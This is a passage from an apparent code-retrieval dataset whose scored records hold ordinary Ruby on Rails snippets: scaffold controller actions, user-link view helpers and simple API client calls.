HappinessEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @happiness_entry }\n end\n end", "title": "" }, { "docid": "b8937acd21acab9dfed2a4ce7d1cb2f7", "score": "0.5960695", "text": "def index\n @hps = Hp.all\n end", "title": "" }, { "docid": "b8c9eca9bc38052fcb5bcea4087df9c2", "score": "0.59530574", "text": "def index\n @hills = Hill.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @hills }\n end\n end", "title": "" }, { "docid": "ebf5fa76da3ab7ed18c6dbdd7d54215c", "score": "0.5951611", "text": "def index\n \t@hr = HumanResource.all\n end", "title": "" }, { "docid": "9cbee1579c6986201c1e3d27f1b35428", "score": "0.5949284", "text": "def index\n @hoots = Hoot.all\n end", "title": "" }, { "docid": "efea353149972e906952dfbf219e902c", "score": "0.59486294", "text": "def index\n @horses = Horse.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @horses }\n end\n end", "title": "" }, { "docid": "fa47c155ba3e957109cc2801a09dfe81", "score": "0.59397465", "text": "def show\n @hobbit = Hobbit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hobbit }\n end\n end", "title": "" }, { "docid": "2ad0d971a6d00ba5168a4c5c625b08a0", "score": "0.59382445", "text": "def show\n @homer = Homer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @homer }\n end\n end", "title": "" }, { "docid": "2ad0d971a6d00ba5168a4c5c625b08a0", "score": "0.59382445", "text": "def show\n @homer = Homer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @homer }\n end\n end", "title": "" }, { "docid": "98eddec0132a76a867d33e2f1e1b612f", "score": "0.59251916", "text": "def index\n @kushis = Kushi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @kushis }\n end\n end", "title": "" }, { "docid": "fcfe105c9f9281f910e6a553a8612440", "score": "0.59240925", "text": "def index\n @search = Hof.search(params[:q])\n @hofs = @search.result\n end", "title": "" }, { "docid": "b58ea6ed931c79b3959f93df216b9a38", "score": "0.5923356", "text": "def show\n @hypsometry = Hypsometry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hypsometry }\n end\n end", "title": "" }, { "docid": "204b90d929f6cca4b23da53e827d4efd", "score": "0.5922466", "text": "def index\n @hcs = Hc.all\n end", "title": "" }, { "docid": "799e1db9b0267495ec94b906e517e0d8", "score": "0.5895815", "text": "def show\n @thong_bao_lop_hoc = @lop_mon_hoc.thong_bao_lop_hocs.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @thong_bao_lop_hoc }\n end\n end", "title": "" }, { "docid": "782622f9b04f00eb4c2ab1617bf9b01a", "score": "0.58927417", "text": "def show\n @housing = Housing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @housing }\n end\n end", "title": "" }, { "docid": "e481735bb52e6ea4b0bee3304a3c0817", "score": "0.5876114", "text": "def index\n @hooplahs = Hooplah.all\n end", "title": "" }, { "docid": "700b9f0517cf2f289dcb7359c0b53a3b", "score": "0.5872762", "text": "def index\n @hills = Hill.all\n @client = Client.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @client }\n end\n end", "title": "" }, { "docid": "af214ee5a58a421c650b0b4dcfb0d330", "score": "0.5859633", "text": "def show\n @hall = Hall.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hall }\n end\n end", "title": "" }, { "docid": "b4085e9525c7dcecb94fc90f32759e41", "score": "0.5856841", "text": "def show\n @hca_score = HcaScore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hca_score }\n end\n end", "title": "" }, { "docid": "56ca5da6bde1395c34b3a2033c181cc4", "score": "0.5854493", "text": "def star_wars_hash\n response_string = RestClient.get('http://www.swapi.co/api/people/')\n response_hash = JSON.parse(response_string)\nend", "title": "" }, { "docid": "d9a3c712608338ced14236096035fcc5", "score": "0.5852888", "text": "def show\n render json: @shed\n end", "title": "" }, { "docid": "11e0de0dd0983f9f537c5a17925b47a7", "score": "0.5850773", "text": "def show\n @hr_master = HrMaster.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hr_master }\n end\n end", "title": "" }, { "docid": "5b0264aefe3804efeea16085b51e6f16", "score": "0.5843298", "text": "def show\n @herd = Herd.find(params[:id])\n\n respond_to do |format|\n format.html # index.html.erbb\n format.json { render :json => @herd }\n end\n end", "title": "" }, { "docid": "201ce05cf0c8c6cf0b232ce85e3c55fe", "score": "0.5838603", "text": "def show\n render json: @honyaku\n end", "title": "" }, { "docid": "32a72deaaad1fcf42a8df05ef220c864", "score": "0.58316135", "text": "def show\n @haiku = Haiku.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @haiku }\n end\n end", "title": "" }, { "docid": "f5128bef1347703f4bade9d311a3dcdf", "score": "0.5828398", "text": "def show\n render json: @humedal\n end", "title": "" }, { "docid": "50594223d4026b5faa20837ab50fab9c", "score": "0.5826225", "text": "def index\n @hitos = Hito.all\n end", "title": "" }, { "docid": "82ebeaabbc5ae823210cca8fc62271b2", "score": "0.58259803", "text": "def show\n @hoken_shubetsu = HokenShubetsu.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hoken_shubetsu }\n end\n end", "title": "" }, { "docid": "8e60c3232c4218579b83ff1cc581455a", "score": "0.5820272", "text": "def show\n @hill = Hill.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hill }\n end\n end", "title": "" }, { "docid": "7b429741801998294fc73a453d73844a", "score": "0.5817749", "text": "def show\n @hammock = Hammock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hammock }\n end\n end", "title": "" }, { "docid": "c7033cad50e7f8dc08b2e375a10dcc89", "score": "0.5812374", "text": "def show\n @health_chart = Health::Chart.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @health_chart }\n end\n end", "title": "" }, { "docid": "da066d64bb8e53efa07d653e2df46dfc", "score": "0.58098406", "text": "def index\n @hjump_head2s = HjumpHead2.all\n end", "title": "" }, { "docid": "b07dbf059b6d91f39995835fcbb4c37e", "score": "0.57995605", "text": "def index\n @hams = Ham.all\n end", "title": "" }, { "docid": "010537257ec1a92704ad1410ef05957a", "score": "0.5795073", "text": "def show\n @hdd = Hdd.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hdd }\n end\n end", "title": "" }, { "docid": "2b30f8f253b4e9bb9b5e925a0e1659b9", "score": "0.57929665", "text": "def show\n @hwm_resource_link = HwmResourceLink.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hwm_resource_link }\n end\n end", "title": "" }, { "docid": "9c5fd63b0c162a75e16b13fae794fb74", "score": "0.5788265", "text": "def set_hc\n @hc = Hc.find(params[:id])\n end", "title": "" }, { "docid": "2513b1b0fe2464b87400368b32eccd2d", "score": "0.57665515", "text": "def create\n @hh = Hh.new(hh_params)\n\n respond_to do |format|\n if @hh.save\n format.html { redirect_to @hh, notice: 'Hh was successfully created.' }\n format.json { render :show, status: :created, location: @hh }\n else\n format.html { render :new }\n format.json { render json: @hh.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cc84328f406a9552431d8fe0ce59253e", "score": "0.576212", "text": "def show\n @atr_hst = AtrHst.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @atr_hst }\n end\n end", "title": "" }, { "docid": "6c66719cef6aeff68a84ae0bdfc14e1b", "score": "0.5761857", "text": "def show\n @hivlocationreport = Hivlocationreport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hivlocationreport }\n end\n end", "title": "" }, { "docid": "5632b0cd68d9946ff139b46a99c0a66f", "score": "0.5753227", "text": "def index\n # TODO - this should only be enabled for an admin, no user should ever see everyone's headaches\n @headaches = Headache.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @headaches }\n end\n end", "title": "" }, { "docid": "8b2d9c2a88434034fd1321ce0bb8c48e", "score": "0.57457197", "text": "def show\n @highschool = Highschool.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @highschool }\n end\n end", "title": "" }, { "docid": "3d8f01c2d03d7401a96db8ec46bb595e", "score": "0.5744744", "text": "def get(url)\n uri = ::URI.parse('https://eu.api.ovh.com')\n http = ::Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n\n timestamp = Time.now.to_i\n signature = \"$1$#{Digest::SHA1.hexdigest(\"#{application_secret}+#{consumer_key}+GET+https://eu.api.ovh.com/1.0#{url}++#{timestamp}\")}\"\n\n headers = {\n 'X-Ovh-Application' => application_key,\n 'X-Ovh-Timestamp' => timestamp.to_s,\n 'X-Ovh-Signature' => signature,\n 'x-Ovh-Consumer' => consumer_key\n }\n\n http.get(\"/1.0#{url}\", headers)\n end", "title": "" }, { "docid": "38f4adaa697827616fe6681eeba06be6", "score": "0.5738709", "text": "def show\n @shobyo = Shobyo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shobyo }\n end\n end", "title": "" }, { "docid": "076f577b806f39d32b3eb531326a8a17", "score": "0.57369643", "text": "def index\n @hoges = Hoge.all\n end", "title": "" }, { "docid": "076f577b806f39d32b3eb531326a8a17", "score": "0.57369643", "text": "def index\n @hoges = Hoge.all\n end", "title": "" }, { "docid": "fd9080a5ef2054d40c925726c1a4fb2e", "score": "0.57357514", "text": "def show\n @shezhi = current_user.shezhis.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shezhi }\n end\n end", "title": "" }, { "docid": "3fc2ad3e8ca918ca09da47012127a64e", "score": "0.5734302", "text": "def show\n @hive = Hive.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hive }\n end\n end", "title": "" }, { "docid": "f831a00705fb9a39dd520cc8541d07f1", "score": "0.5724958", "text": "def index\n @hwservices = Hwservice.find(:all, :order => 'startdate')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @hwservices }\n end\n end", "title": "" }, { "docid": "3f3b66a078d5c72933d3ae685f96e1aa", "score": "0.5722675", "text": "def show\n @horse = Horse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @horse }\n end\n end", "title": "" }, { "docid": "d1ad2a8988b0355c6ff38efa8aeb09fe", "score": "0.5722561", "text": "def index\n @work_hours = WorkHour.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @work_hours }\n end\n end", "title": "" }, { "docid": "73367ca1cb8fdca87f1a873bd9ee4405", "score": "0.57206607", "text": "def show\n @hydrogen = Hydrogen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hydrogen }\n end\n end", "title": "" }, { "docid": "2269beb426a97f9c2ed60917a93a8188", "score": "0.57099026", "text": "def request_hrn(*args)\n hrn\n end", "title": "" }, { "docid": "84c8bb4e195aa07a459cb579332f64ee", "score": "0.57052284", "text": "def show\n @health_check = HealthCheck.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @health_check }\n end\n end", "title": "" }, { "docid": "68e3ffe4ec3a565a562e9e0ab5e131d2", "score": "0.56964487", "text": "def index\n @shalehs = Shaleh.all\n end", "title": "" }, { "docid": "38a4ecc4caa89ca304d2b9c786c76ccb", "score": "0.5695523", "text": "def show\n @shanghu = Shanghu.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shanghu }\n end\n end", "title": "" }, { "docid": "480cb73094fdf5c07e3418b373115e17", "score": "0.56905836", "text": "def index\n @hugs = Hug.all\n end", "title": "" }, { "docid": "78a53106d18e18e58e1639f6df20d5ab", "score": "0.5679273", "text": "def show\n @hospedarium = Hospedarium.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hospedarium }\n end\n end", "title": "" }, { "docid": "fd533f9fe7e4bf676cefa3c2685b062a", "score": "0.5675824", "text": "def show\n @hug = Hug.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hug }\n end\n end", "title": "" }, { "docid": "fcaa1b2a9e8cb767712fbdb34517f2f5", "score": "0.5674085", "text": "def index\n @honks = Honk.all\n end", "title": "" }, { "docid": "a0a07af89cc6653ed726bc8733be0c50", "score": "0.56621933", "text": "def show\n @admin_high_scores = Admin::HighScore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_high_score }\n end\n end", "title": "" }, { "docid": "099771b9c281bc847a268f506f46153e", "score": "0.5652242", "text": "def show\n @homologacion = Homologacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @homologacion }\n end\n end", "title": "" }, { "docid": "0d1aa0928bdd2a7e1985b2cf5fd2326a", "score": "0.5651196", "text": "def show\n @jusho = Jusho.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @jusho }\n end\n end", "title": "" }, { "docid": "04d60b3db2514a2c34b150bd5b0a2de7", "score": "0.56473756", "text": "def index\n @hellows = Hellow.all\n end", "title": "" }, { "docid": "f1e72dbc89e70209baaba40287a2a3c0", "score": "0.56442875", "text": "def index\n @hmos = Hmo.all.paginate(page: params[:page], per_page: 10)\n end", "title": "" }, { "docid": "bf9dcfb8ea5005b14217f336bfa386c7", "score": "0.56417954", "text": "def hurricanes\n data = self.class.get(\"/api/#{API_KEY}/currenthurricane/view.json\")\n Hurricanes.parse(data)\n end", "title": "" }, { "docid": "e45ec4c12984b7afe07cffb059a6e15c", "score": "0.5641419", "text": "def show\n @hwm_label = HwmLabel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hwm_label }\n end\n end", "title": "" } ]
fd96e734e7f24fd17d5b7af7028f74fc
generate user link html tag according current user status: banned, anonymity, deactivated ownerize: true/false (default false) permit to add extra 's to mark as owner of something params: extra url params for url link
[ { "docid": "59a9a13f52b9dac604d872b3b21fc864", "score": "0.67739177", "text": "def link_to_user(user, attrs = {}, &block)\n attrs = {mark: true, time: nil, label: nil, ownerize: false, class: '', params: {}}.merge(attrs)\n attrs[:label] = user ? user.full_name(attrs[:mark], attrs[:time]) : 'Guest' if attrs[:label].nil?\n attrs[:label] = \"#{attrs[:label]}'s\" if attrs[:ownerize]\n link_to (block ? capture(&block) : attrs[:label]), user_profile_url(user, attrs[:time], attrs[:params]), attrs.except(:mark, :time, :params, :ownerize, :label)\n end", "title": "" } ]
[ { "docid": "283a610bc31f733a29c8cf889f5f3799", "score": "0.6609629", "text": "def link_to_user(user, opts={})\n avatar = AvatarAttachment.find_by_owner_id(user.id)\n img = image_tag(avatar.small_thumb, class: \"profile-pic pull-left\", style: \"height:20px;padding-right:5px\") if avatar\n link_to img.to_s+user.full_name, user_path(user.slug, network: user.network)\n end", "title": "" }, { "docid": "07bb697f05823c59444c51426739e1ec", "score": "0.65403825", "text": "def link_to_user_with_image(user, size=0)\n if user\n completeLink = output_user_image user, size\n completeLink << link_to(user, :controller => 'users', :action => 'show', :id => user)\n if size == 1\n completeLink << \" (#{user.login})\"\n end\n completeLink # return it\n else\n 'Anonymous'\n end\n end", "title": "" }, { "docid": "07bb697f05823c59444c51426739e1ec", "score": "0.65403825", "text": "def link_to_user_with_image(user, size=0)\n if user\n completeLink = output_user_image user, size\n completeLink << link_to(user, :controller => 'users', :action => 'show', :id => user)\n if size == 1\n completeLink << \" (#{user.login})\"\n end\n completeLink # return it\n else\n 'Anonymous'\n end\n end", "title": "" }, { "docid": "cba1c354e3883b7624d671d3e827bc3d", "score": "0.65401715", "text": "def user_profile_link(user, options = {}, html_options = {}, &block)\n link_to(options[:user_info_level]==:known ? known_user_id(user) : public_user_id(user), \n \"/profiles/#{user.id}\", {title: user.user_name}.merge(html_options), &block)\n end", "title": "" }, { "docid": "c9d03a76ce03e463b791e386a67ec999", "score": "0.6455476", "text": "def user_link\n h.link_to(h.user_path(object), class: 'hover-emphasis user-link') do\n (h.content_tag(:div, '', class: 'user-icon inlined') + object.username)\n end\n end", "title": "" }, { "docid": "ced10a108a1456f00a76eaeb7ac6daa5", "score": "0.6438522", "text": "def user_link(user, options ={})\r\n return if user.nil?\r\n title = options.delete(:title)\r\n unless title\r\n title = \"You\".t if options.delete(:detect_you) && user == current_actor\r\n title = user.display_name if options.delete(:use_display_name)\r\n title ||= (user.kd_user? ? \"Facebook\" : user.login)\r\n\r\n limit = 30 unless options.has_key?(:length) || options.has_key?(:limit)\r\n limit ||= (options.delete(:length) || options.delete(:limit))\r\n if limit\r\n title = truncate_with_hint(title, :length => limit)\r\n else\r\n title = h(title)\r\n end\r\n\r\n if options.delete(:use_both)\r\n titles = [user.display_name.strip, (user.login || '').strip].map {|x| limit ? truncate_with_hint(x, :length => limit) : x}\r\n titles.reverse! if options.delete(:reversed)\r\n title = (titles[0] != titles[1] ? (\"%s (%s)\" % titles) : titles[0]) \r\n end\r\n title += options[:suffix] if options[:suffix]\r\n end\r\n options.delete(:suffix)\r\n\r\n caption = title\r\n if icon = options.delete(:icon)\r\n unless icon.is_a?(String)\r\n icon = user_icon_filename(user, icon)\r\n end\r\n icons = image_tag(icon, :class => 'userlink_icon')\r\n if options.delete(:extra_icon)\r\n icons << '&nbsp;' + image_tag('f_logo.jpg', :size => \"10x10\", :class => 'userlink_icon') if user.facebook_connected?\r\n end\r\n caption = icons + '&nbsp;' + caption\r\n caption = \"<span class=\\\"user_name #{options.delete(:class)}\\\">\" + caption + '</span>'\r\n end\r\n\r\n options[:no_link] = true if user.is_a?(User) && user.anonymous?\r\n if options.delete(:no_link)\r\n return caption\r\n end\r\n\r\n if user.is_a?(User) && user.kd_user?\r\n return link_to(caption, \"#{@@facebook_profile_url}#{user.facebook_id}\", :target => '_blank')\r\n end\r\n\r\n if options[:activity_id] && !options.delete(:public_context)\r\n link_to( caption,\r\n {:controller => 'activity', :action => 'read_and_frwd', :id => options[:activity_id], :type => options[:frwrd_type], :locale => options[:locale]},\r\n options.delete_if{|key, value| key == :activity_id || key == :frwrd_type})\r\n else\r\n url_options = {:locale => options.delete(:locale)}.reverse_merge(options.delete(:url_options) || {})\r\n link_to(caption, user_path_options(user, url_options), options)\r\n end\r\n end", "title": "" }, { "docid": "55cc2ff00b4d4aacb75a53f6b4719cff", "score": "0.64131826", "text": "def current_user_profile_links\n render 'layouts/cu_profile_links' if logged_in? && (current_user.id == params[:id].to_i || current_user.admin_status)\n end", "title": "" }, { "docid": "6b0e6b026aa011b29b4d4269f62ad984", "score": "0.6410108", "text": "def shortened_link_for(user)\n #link_to \"@\" + user.email.match(/(.*)@/i)[1] + user.id.to_s, user\n link_to \"@\" + user.pseudo_login_name, user\n end", "title": "" }, { "docid": "f885d74db90d3f9b3fe8b9157f736f18", "score": "0.64073795", "text": "def profile_link_create(user_holder)\n link_to \"Profile\", {:controller => \"TODO\", :action => \"TODO\", :user_holder_id => user_holder.id }\n end", "title": "" }, { "docid": "e734399c2c8b1a1aa89509815298d831", "score": "0.6397286", "text": "def link_to_user(user)\n user ? link_to(user, :controller => 'account', :action => 'show', :id => user) : 'Anonymous'\n end", "title": "" }, { "docid": "7d5f199284d227e82691e7b98409f3f5", "score": "0.6374042", "text": "def link_to_user(user, options={})\n (user) ? link_to(user.name, :controller => 'admin/users', :action => 'show', :id => user) : 'Anonymous'\n end", "title": "" }, { "docid": "088033c72cd51772d6bf83de1d1a5ce1", "score": "0.63456863", "text": "def link_user_name(user)\n display_user_name(user,user.public || user == current_user || can?(:read,User) ? user_path(user.username) : nil)\n end", "title": "" }, { "docid": "6d61ac266500a870aabe087256162794", "score": "0.63420564", "text": "def link_to_user?\n @link_to_user = can_edit_users?\n return true\n end", "title": "" }, { "docid": "06484af5a1599a3f7dbbfcdbea963411", "score": "0.63381267", "text": "def user_link(x, who=:creator)\n case x\n when CortexReaver::User\n name = x.name || x.login\n \"<a href=\\\"#{attr_h x.url}\\\">#{h name}</a>\"\n when CortexReaver::Comment\n if x.send(who)\n # Use attached creator/whoever\n user_link x.send(who)\n else\n # Use anonymous info\n name = x.name || x.email || 'Anonymous'\n if x.email\n s = \"<a href=\\\"mailto:#{attr_h x.email}\\\">#{h name}</a>\"\n if x.http\n s << \" (<a href=\\\"#{attr_h x.http}\\\" rel=\\\"nofollow\\\">#{h x.http}</a>)\"\n end\n s\n elsif x.http\n \"<a href=\\\"#{attr_h x.http}\\\" rel=\\\"nofollow\\\">#{h name}</a>\"\n else\n h name\n end\n end\n else\n if x.respond_to? who\n user_link x.send(who)\n elsif x.nil?\n # Hmm.\n ''\n else\n raise ArgumentError.new(\"don't know how to make a user link to #{x.inspect}\")\n end\n end\n end", "title": "" }, { "docid": "6db6862b0d64a3e364009f33f59e1b53", "score": "0.62842214", "text": "def show_extra_links?\n user.is_member?\n end", "title": "" }, { "docid": "cd21574c66977d643c5c66b375e5d85a", "score": "0.6275699", "text": "def ownership_status(rcp)\n\t# Summarize ownership as a list of owners, each linked to their collection\n\t(rcp.users.map { |u| link_to u.handle, collection_path( :owner=>u.id.to_s) }.join(', ') || \"\").html_safe\nend", "title": "" }, { "docid": "fb838d2453356786e414368e77131a4f", "score": "0.6258646", "text": "def show_extra_links?\n user.is_gold?\n end", "title": "" }, { "docid": "3ec2a5452851ba119e5b7a15e1b5436b", "score": "0.62376755", "text": "def link\r\n if is_community?\r\n url + \"#{usejournal}\"\r\n else\r\n url + \"profile\"\r\n end\r\n end", "title": "" }, { "docid": "a51b08cf6d70c045405a77cad4983a49", "score": "0.62267375", "text": "def render_logged_in_user_links\n render_pull_down_menu 'Profile' do\n html = ''\n\n html << render_avatar\n html << render_fb_share_option\n html << render_admin_links\n html << render_settings_link\n html << render_logout\n html\n end\n end", "title": "" }, { "docid": "0f268c12490c463212fee68cfeb20032", "score": "0.6199889", "text": "def gh_user_link(username, opts={})\n opts[:class] = opts[:class] || 'username'\n gh_link username, opts\nend", "title": "" }, { "docid": "a68ba1dfb7a5749ecb9707b945eb094b", "score": "0.6187748", "text": "def person_link(options = {})\n source_name = send \"#{options[:source]}_name\".to_sym\n source_email = send \"#{options[:source]}_email\".to_sym\n text = if options[:avatar]\n avatar = h.image_tag h.gravatar_icon(source_email, options[:size]), class: \"avatar #{\"s#{options[:size]}\" if options[:size]}\", width: options[:size], alt: \"\"\n %Q{#{avatar} <span class=\"commit-#{options[:source]}-name\">#{source_name}</span>}\n else\n source_name\n end\n\n user = User.where('name like ? or email like ?', source_name, source_email).first\n\n if user.nil?\n h.mail_to(source_email, text.html_safe, class: \"commit-#{options[:source]}-link\")\n else\n h.link_to(text.html_safe, h.user_path(user), class: \"commit-#{options[:source]}-link\")\n end\n end", "title": "" }, { "docid": "caea4d39b5041cc4dccd245db041a96a", "score": "0.6175318", "text": "def render_list_ayty_user_as_link_to_issue_priority\n ayty_users = User.ayty_users\n links = ''\n if ayty_users.any?\n ayty_users.each do |user|\n links += content_tag(:p) do\n link_to(user.name, { controller: :ayty_issue_priorities,\n id: user.id },\n onclick: \"$('#list_users_ayty').toggle()\")\n end\n end\n end\n links.html_safe\n end", "title": "" }, { "docid": "a2eed95ee13fbe4dcab65918979563db", "score": "0.6157065", "text": "def link_to_user_postings(posting)\n posting.user ? \\\n link_to( posting.user.nickname || posting.user.email,user_postings_path(posting.user), \n :title => t(:show_all_users_postings)) \\\n : t(:anonymous)\n end", "title": "" }, { "docid": "8b7ed5d5ce50ac04fccb21bcd1f44c2d", "score": "0.6148129", "text": "def donationshelp_user_link( donation )\n if ( donation.user.nil? )\n h( donation.user_name )\n elsif ( donation.user_name != donation.user.name )\n t(\n :'uk.org.pond.canvass.generic_messages.via',\n :one => h( donation.user_name ),\n :two => link_to( h( donation.user.name ), donation.user )\n ).html_safe()\n else\n link_to( h( donation.user_name ), donation.user )\n end\n end", "title": "" }, { "docid": "a55cb490cc40588260c9be004d6de1a0", "score": "0.6137952", "text": "def author_link(active_record_instance)\n if active_record_instance.user_id\n link_to h(active_record_instance.user.login), user_path(active_record_instance.user)\n else\n link_to active_record_instance.remote_ip, ip_path(active_record_instance.remote_ip)\n end\n end", "title": "" }, { "docid": "a55cb490cc40588260c9be004d6de1a0", "score": "0.6137952", "text": "def author_link(active_record_instance)\n if active_record_instance.user_id\n link_to h(active_record_instance.user.login), user_path(active_record_instance.user)\n else\n link_to active_record_instance.remote_ip, ip_path(active_record_instance.remote_ip)\n end\n end", "title": "" }, { "docid": "6ca4779f52d1a2df23e37ae427e66e63", "score": "0.6122962", "text": "def user_link(user_id)\n \"<@#{user_id}>\"\n end", "title": "" }, { "docid": "27d71534c67c1949b9b4b700302e6be6", "score": "0.6118146", "text": "def user_link(user, name = nil)\n if user.is_a?(Integer)\n name ||= :USER.t + \" #\" + user.to_s\n link_to(name, User.show_link_args(user))\n elsif user\n name ||= user.unique_text_name\n link_to(name, user.show_link_args)\n else\n \"?\"\n end\n end", "title": "" }, { "docid": "534cc3e0cef6e0859c5601eef8bf5017", "score": "0.60764515", "text": "def user_link(user, name = nil, args = {})\n if user.is_a?(Integer)\n name ||= \"#{:USER.t} ##{user}\"\n link_to(name, user_path(user),\n args.merge({ id: \"show_user_link_#{user}\" }))\n elsif user\n name ||= user.unique_text_name\n link_to(name, user_path(user.id),\n args.merge({ id: \"show_user_link_#{user.id}\" }))\n else\n \"?\"\n end\n end", "title": "" }, { "docid": "7789bdee0925569c3596a4042131b8be", "score": "0.6060268", "text": "def same_user?\n if current_user.id == @user.id\n (\"#{link_to 'Edit', edit_user_path(@user), class: 'text-light px-2'}\" <<\n \"#{link_to 'Destroy', @user, method: :delete, data: { confirm: 'Are you sure?' }, class: 'text-light px-2'}\").html_safe\n end\n end", "title": "" }, { "docid": "0a6c2f44e847228e507b05401df29268", "score": "0.6057135", "text": "def link\n # return super if remote? \n return Tr8n::Config.default_url unless user\n Tr8n::Config.user_link(user)\n end", "title": "" }, { "docid": "af5608533c1287c16d0a813b85d7936d", "score": "0.6038022", "text": "def link_to_user(user_object, url_or_object, link_opts = {}, image_opts = {})\n avatar_version = link_opts[:avatar_version] || :middle\n if link_opts[:with_avatar]\n link_to(image_tag(avatar(user_object, avatar_version), image_opts), url_or_object, link_opts)\n else\n if user_signed_in? # 已登录用户\n if current_user.id == user_object.id\n link_to(\"我\", url_or_object, link_opts)\n else\n link_to(user_object.username, url_or_object, link_opts)\n end\n else # 非登录用户\n link_to(user_object.username, url_or_object, link_opts)\n end\n end\n end", "title": "" }, { "docid": "c10e23375247c924f1b95fb33a41f40b", "score": "0.60220605", "text": "def link_to_user(user)\r\n\t\tlink_to user.display_name, :controller => 'account', :action => 'show', :id => user\r\n\tend", "title": "" }, { "docid": "5ca60cb9fc53964c2486ce4dca57256a", "score": "0.60167485", "text": "def link_to_user(user, options={})\n if user.is_a?(User)\n name = h(user.name(options[:format]))\n if user.active? || (User.current.admin? && user.logged?)\n link_to name, user_path(user), :class => user.css_classes\n else\n name\n end\n else\n h(user.to_s)\n end\n end", "title": "" }, { "docid": "251b29a5a324e82ef63a0f588d84f291", "score": "0.6016653", "text": "def follow_helper(user)\n #Dont return link for the current user\n if user != @currentUser\n if @currentUser.can_follow?(user)\n link_to \"&nbsp;Follow&nbsp;\", follow_url(:id => user.id)\n else\n link_to \"Unfollow\", unfollow_url(:id => user.id)\n end\n end\n end", "title": "" }, { "docid": "1b1c1059cfaef7f9997767b2ae0d5b84", "score": "0.6013753", "text": "def link_to_user(user)\r\n link_to user.display_name, :controller => 'account', :action => 'show', :id => user\r\n end", "title": "" }, { "docid": "c8e5e7b6b688d7115d06c0a0a826ebe3", "score": "0.6013136", "text": "def render(context)\n twitter_id = context['devrel']['twitter']\n u = lookup_user(twitter_id)\n<<END\n <p>\n #{linkify u, \"<img src='#{u.profile_image_url}'</img>\"}\n #{linkify u, \"<span class='name'>#{u.name}</span>\"}\n </p>\n <p class='description'>#{u.description}</p>\nEND\n end", "title": "" }, { "docid": "be8f4c48eeee477f29d3009d11cde7f6", "score": "0.60084766", "text": "def format_as_user_link(user, options = {})\n html = ''\n unless user.blank?\n options[:to_user] = user\n options[:subject] = options[:subject] || ''\n options[:body] = options[:body] || ''\n user_url = user_path(user)\n html = \"<a href='#{user_url}'>#{user}</a>\"\n from_user = options[:from_user]\n if from_user.present?\n message_url = new_user_message_path(from_user, options)\n html << '&nbsp;'\n html << \"<span class = 'message-link'>\"\n html << \"<a href='#{message_url}'>\"\n html << \"<i class = 'fa fa-envelope'></i>\"\n html << \"</a>\"\n html << \"</span>\"\n end\n end\n html.html_safe\n end", "title": "" }, { "docid": "be8f4c48eeee477f29d3009d11cde7f6", "score": "0.60084766", "text": "def format_as_user_link(user, options = {})\n html = ''\n unless user.blank?\n options[:to_user] = user\n options[:subject] = options[:subject] || ''\n options[:body] = options[:body] || ''\n user_url = user_path(user)\n html = \"<a href='#{user_url}'>#{user}</a>\"\n from_user = options[:from_user]\n if from_user.present?\n message_url = new_user_message_path(from_user, options)\n html << '&nbsp;'\n html << \"<span class = 'message-link'>\"\n html << \"<a href='#{message_url}'>\"\n html << \"<i class = 'fa fa-envelope'></i>\"\n html << \"</a>\"\n html << \"</span>\"\n end\n end\n html.html_safe\n end", "title": "" }, { "docid": "238a4a65b1e2c31a3ac00a40cff21a07", "score": "0.5993974", "text": "def link_to_current_user(options={})\n\t\tif current_user\n\t\t\tlink_to_member current_user, options\n\t\telse\n\t\t\tcontent_text = options.delete(:content_text) || 'not signed in'\n\t\t\t# kill ignored options from 